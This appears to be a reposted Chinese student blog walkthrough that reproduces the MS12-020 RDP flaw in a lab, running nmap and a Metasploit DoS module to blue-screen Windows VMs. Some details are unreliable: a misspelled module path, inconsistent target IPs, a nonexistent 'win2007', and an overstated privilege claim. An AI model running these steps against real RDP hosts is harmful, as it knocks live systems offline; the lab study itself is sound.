ms12-020(蓝屏攻击漏洞复现)

这篇具有很好参考价值的文章主要介绍了ms12-020(蓝屏攻击漏洞复现)。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

✅作者简介：CSDN内容合伙人、信息安全专业在校大学生🏆
🔥系列专栏：内网安全-漏洞复现
📃新人博主：欢迎点赞收藏关注，会回访！
💬舞台再大，你不上台，永远是个观众。平台再好，你不参与，永远是局外人。能力再大，你不行动，只能看别人成功！没有人会关心你付出过多少努力，撑得累不累，摔得痛不痛，他们只会看你最后站在什么位置，然后羡慕或鄙夷。

一、原理

ms12-020漏洞的定义是指操作系统的远程桌面协议存在重大漏洞，入侵者（黑客）可以通过向远程桌面默认端口（3389）发一系列特定RDP包，从而获取超级管理员权限，进而入侵系统，Windows在处理某些RDP报文时Terminal Server 存在错误，可被利用造成服务停止响应（蓝屏）
根据实际被入侵终端进行分析，开放远程桌面服务并使用默认的3389端口的会成为攻击目标。
微软的安全公告：Windows全系列操作系统（WinXP/Vista/Win7/Win2000/ Win2003/Win2008）均存在受控威胁。

二、实验环境

攻击机：kali IP：192.168.204.128
靶机win2003 IP：192. 168.204.159
靶机win2007 IP：192.168.204.160
两者都在同一内网，采用NAT连接方式

三、漏洞复现

1、开启win2003的远程桌面：控制面板–>系统–>远程–>远程协助–>远程桌面
win2007是计算机–>(右键)属性–>远程设置
ms12-020,# 内网安全,护网行动hvv,安全,网络,web安全
2、控制面板–>windows防火墙–>例外–>远程桌面

3、用nmap扫描靶机，发现靶机的3389端口已经打开
输入：nmap 192.168.252.159

4、在kali的终端中打开msfconsole

5、使用search功能搜索ms12-020，发现有两个可用模块。
输入：search ms12-020
ms12-020,# 内网安全,护网行动hvv,安全,网络,web安全
6、使用第一个可用版模块
输入：use auxiliary/dos/windows/rdp/ma12_020_maxchannelids 或者use 1

7、利用set命令设置攻击的IP。
输入：set rhosts 192.168.252.160
show options

8、输入：exploit，执行攻击
ms12-020,# 内网安全,护网行动hvv,安全,网络,web安全
9、看一下靶机，发现靶机蓝屏了
文章来源地址https://www.toymoban.com/news/detail-821682.html